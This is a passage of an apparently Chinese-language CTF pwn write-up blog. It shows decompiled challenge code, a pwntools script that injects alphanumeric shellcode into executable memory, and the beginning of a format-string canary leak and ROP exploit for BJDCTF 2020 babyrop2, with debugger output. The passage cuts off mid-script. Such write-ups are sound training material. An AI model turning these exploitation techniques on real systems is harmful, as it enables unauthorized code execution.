class="type">char</span> *sb; <span class="comment">// [rsp+8h] [rbp-48h]</span></span><br><span class="line">  <span class="type">char</span> *sc; <span class="comment">// [rsp+8h] [rbp-48h]</span></span><br><span class="line">  <span class="type">char</span> *sd; <span class="comment">// [rsp+8h] [rbp-48h]</span></span><br><span class="line">  <span class="type">char</span> v7; <span class="comment">// [rsp+17h] [rbp-39h]</span></span><br><span class="line">  <span class="type">int</span> v8; <span class="comment">// [rsp+1Ch] [rbp-34h]</span></span><br><span class="line">  <span class="type">int</span> v9; <span class="comment">// [rsp+2Ch] [rbp-24h]</span></span><br><span class="line">  <span class="type">void</span> *dest; <span class="comment">// [rsp+30h] [rbp-20h]</span></span><br><span class="line">  <span class="type">char</span> *s1; <span class="comment">// [rsp+38h] [rbp-18h]</span></span><br><span class="line">  <span class="type">char</span> *nptr; <span class="comment">// [rsp+40h] [rbp-10h]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v13; <span class="comment">// [rsp+48h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v13 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">memset</span>(qword_202040, <span class="number">0</span>, <span class="keyword">sizeof</span>(qword_202040));</span><br><span class="line">  v8 = <span class="number">0</span>;</span><br><span class="line">  v7 = <span class="number">0</span>;</span><br><span class="line">  dest = <span class="number">0LL</span>;</span><br><span class="line">  <span class="keyword">while</span> ( !*a1 || *a1 != <span class="string">&#x27;\n&#x27;</span> &amp;&amp; (*a1 != <span class="string">&#x27;\r&#x27;</span> || a1[<span class="number">1</span>] != <span class="string">&#x27;\n&#x27;</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( v8 &lt;= <span class="number">5</span> )</span><br><span class="line">      qword_202040[<span class="number">2</span> * v8] = a1;</span><br><span class="line">    sb = <span class="built_in">strchr</span>(a1, <span class="string">&#x27;:&#x27;</span>);</span><br><span class="line">    <span class="keyword">if</span> ( !sb )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;error.&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    *sb = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> ( sc = sb + <span class="number">1</span>; *sc &amp;&amp; (*sc == <span class="string">&#x27; &#x27;</span> || *sc == <span class="string">&#x27;\r&#x27;</span> || *sc == <span class="string">&#x27;\n&#x27;</span> || *sc == <span class="string">&#x27;\t&#x27;</span>); ++sc )</span><br><span class="line">      *sc = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span> ( !*sc )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;abort.&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">2</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v8 &lt;= <span class="number">5</span> )</span><br><span class="line">      qword_202040[<span class="number">2</span> * v8 + <span class="number">1</span>] = sc;</span><br><span class="line">    sd = <span class="built_in">strchr</span>(sc, <span class="number">10</span>);</span><br><span class="line">    <span class="keyword">if</span> ( !sd )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;error.&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">3</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    *sd = <span class="number">0</span>;</span><br><span class="line">    a1 = sd + <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">if</span> ( *a1 == <span class="number">13</span> )</span><br><span class="line">      *a1++ = <span class="number">0</span>;</span><br><span class="line">    s1 = (<span class="type">char</span> *)qword_202040[<span class="number">2</span> * v8];</span><br><span class="line">    nptr = (<span class="type">char</span> *)qword_202040[<span class="number">2</span> * v8 + <span class="number">1</span>];</span><br><span class="line">    <span class="keyword">if</span> ( !strcasecmp(s1, <span class="string">&quot;opt&quot;</span>) )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v7 )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;error.&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">5</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      v7 = atoi(nptr);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( strcasecmp(s1, <span class="string">&quot;msg&quot;</span>) )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;error.&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">4</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> ( <span class="built_in">strlen</span>(nptr) &lt;= <span class="number">1</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;error.&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">5</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      v9 = <span class="built_in">strlen</span>(nptr) - <span class="number">1</span>;</span><br><span class="line">      <span class="keyword">if</span> ( dest )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;error.&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">5</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      dest = <span class="built_in">calloc</span>(v9 + <span class="number">8</span>, <span class="number">1uLL</span>);</span><br><span class="line">      <span class="keyword">if</span> ( v9 &lt;= <span class="number">0</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;error.&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">5</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">memcpy</span>(dest, nptr, v9);</span><br><span class="line">    &#125;</span><br><span class="line">    ++v8;</span><br><span class="line">  &#125;</span><br><span class="line">  *a1 = <span class="number">0</span>;</span><br><span class="line">  sa = (<span class="type">char</span> *)(a1 + <span class="number">1</span>);</span><br><span class="line">  <span class="keyword">if</span> ( *sa == <span class="number">10</span> )</span><br><span class="line">    *sa = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">switch</span> ( v7 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">      sub_DA8((<span class="type">const</span> <span class="type">char</span> *)dest);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">      sub_EFE((<span class="type">const</span> <span class="type">char</span> *)dest);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">      sub_CBD((<span class="type">const</span> <span class="type">char</span> *)dest);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;error.&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">6</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v13;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>逆向出格式发现<code>v9 = strlen(nptr) - 1;</code>​所以我们又多一个字符无效字符</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 __fastcall <span class="title function_">sub_DA8</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v1; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">size_t</span> v2; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+14h] [rbp-2Ch]</span></span><br><span class="line">  <span class="type">void</span> *dest; <span class="comment">// [rsp+18h] [rbp-28h]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v6; <span class="comment">// [rsp+28h] [rbp-18h]</span></span><br><span class="line"></span><br><span class="line">  v6 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; <span class="built_in">strlen</span>(a1); ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( !<span class="built_in">isprint</span>(a1[i]) &amp;&amp; a1[i] != <span class="number">10</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;oh!&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( unk_202028 != <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;oh!&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( unk_202024 )</span><br><span class="line">  &#123;</span><br><span class="line">    v1 = getpagesize();</span><br><span class="line">    dest = (<span class="type">void</span> *)(<span class="type">int</span>)mmap((<span class="type">char</span> *)&amp;loc_FFE + <span class="number">2</span>, v1, <span class="number">7</span>, <span class="number">34</span>, <span class="number">0</span>, <span class="number">0LL</span>);</span><br><span class="line">    v2 = <span class="built_in">strlen</span>(a1);</span><br><span class="line">    <span class="built_in">memcpy</span>(dest, a1, v2);</span><br><span class="line">    ((<span class="type">void</span> (*)(<span class="type">void</span>))dest)();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(a1);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v6;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现往可执行的mmap里面写入shell</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;xxx&quot;</span></span><br><span class="line">    port = <span class="number">1111</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line"></span><br><span class="line">sl(<span class="string">&quot;opt:1\nmsg:ro0tt\n&quot;</span>)</span><br><span class="line">shellcode=<span class="string">b&quot;RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA&quot;</span></span><br><span class="line">payload=<span class="string">b&#x27;opt:2\nmsg:&#x27;</span>+shellcode+<span class="string">b&#x27;\n&#x27;</span></span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="BJDCTF-2020-babyrop2"><a href="#BJDCTF-2020-babyrop2" class="headerlink" title="[BJDCTF 2020]babyrop2"></a>[BJDCTF 2020]babyrop2</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  gift();</span><br><span class="line">  vuln();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">gift</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> format[<span class="number">8</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v2; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;I&#x27;ll give u some gift to help u!&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%6s&quot;</span>, format);</span><br><span class="line">  <span class="built_in">printf</span>(format);</span><br><span class="line">  <span class="built_in">puts</span>(byte_400A05);</span><br><span class="line">  fflush(<span class="number">0LL</span>);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v2;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">24</span>]; <span class="comment">// [rsp+0h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v2; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Pull up your sword and tell me u story!&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x64</span>uLL);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以泄露canary的值</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># pwn @ DESKTOP-D3OTKCS in ~/pwn/nssctf/11.11/BJDCTF_2020_babyrop2 [18:12:38] C:130             │   2         0x40090f main+53</span></span><br><span class="line">$ python3 exp.py                                                                                │   3   0x7fa4fe4fdd90 __libc_start_call_main+128</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 7089                                                    │   4   0x7fa4fe4fde40 __libc_start_main+128</span><br><span class="line">[*] pid: 7089                                                                                   │   5         0x4006c9 _start+41</span><br><span class="line">[*] <span class="string">&#x27;/home/pwn/pwn/nssctf/11.11/BJDCTF_2020_babyrop2/pwn&#x27;</span>                                       │────────────────────────────────────────────────────────────────────────────────────────────────</span><br><span class="line">    Arch:       amd64-64-little                                                                 │pwndbg&gt; search N1ght</span><br><span class="line">    RELRO:      Partial RELRO                                                                   │Searching <span class="keyword">for</span> byte: b<span class="string">&#x27;N1ght&#x27;</span></span><br><span class="line">    Stack:      Canary found                                                                    │[heap]          0x142e2a0 0xa746867314e /* <span class="string">&#x27;N1ght\n&#x27;</span> */</span><br><span class="line">    NX:         NX enabled                                                                      │[stack]         0x7fffc44857b0 0x746867314e /* <span class="string">&#x27;N1ght&#x27;</span> */</span><br><span class="line">    PIE:        No PIE (0x400000)                                                               │[stack]         0x7fffc4487660 0x746867314e /* <span class="string">&#x27;N1ght&#x27;</span> */</span><br><span class="line">    Stripped:   No                                                                              │[stack]         0x7fffc44878d0 0x746867314e /* <span class="string">&#x27;N1ght&#x27;</span> */</span><br><span class="line">[*] Loaded 14 cached gadgets <span class="keyword">for</span> <span class="string">&#x27;./pwn&#x27;</span>                                                        │pwndbg&gt; stack</span><br><span class="line">[*] ret addr : 0x4005f9                                                                         │00:0000│ rsp 0x7fffc44878b8 —▸ 0x4008c3 (vuln+60) ◂— nop </span><br><span class="line">[*] rdi addr : 0x400993                                                                         │01:0008│ rsi 0x7fffc44878c0 —▸ 0x7fa4fe745040 (_rtld_global) —▸ 0x7fa4fe7462e0 ◂— 0</span><br><span class="line">/home/pwn/pwn/nssctf/11.11/BJDCTF_2020_babyrop2/exp.py:7: BytesWarning: Text is not bytes; assum│02:0010│-018 0x7fffc44878c8 —▸ 0x400870 (gift+92) ◂— nop </span><br><span class="line">ing ASCII, no guarantees. See https://docs.pwntools.com/<span class="comment">#bytes                                  │03:0018│-010 0x7fffc44878d0 ◂— 0x746867314e /* &#x27;N1ght&#x27; */</span></span><br><span class="line">  def sl(a) : p.sendline(a)                                                                     │04:0020│-008 0x7fffc44878d8 ◂— 0xca0d406c4cf14500</span><br><span class="line">[*] running <span class="keyword">in</span> new terminal: [<span class="string">&#x27;/usr/bin/gdb&#x27;</span>, <span class="string">&#x27;-q&#x27;</span>, <span class="string">&#x27;./pwn&#x27;</span>, <span class="string">&#x27;-p&#x27;</span>, <span class="string">&#x27;7089&#x27;</span>]                      │05:0028│ rbp 0x7fffc44878e0 —▸ 0x7fffc4487900 ◂— 1</span><br><span class="line">[+] Waiting <span class="keyword">for</span> debugger: Done                                                                  │06:0030│+008 0x7fffc44878e8 —▸ 0x40090f (main+53) ◂— mov eax, 0</span><br><span class="line">[*] Paused (press any to <span class="built_in">continue</span>)                                                              │07:0038│+010 0x7fffc44878f0 ◂— 0x1000</span><br><span class="line">                                                                                                │pwndbg&gt; </span><br></pre></td></tr></table></figure><p>发现在下一个也就是%2加入5个寄存器就是canary值</p><p>大小足够泄露两个地址好找libc版本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node4.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">28119</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">p.recv()</span><br><span class="line">sl(<span class="string">&quot;%7$p&quot;</span>)</span><br><span class="line">canary = <span 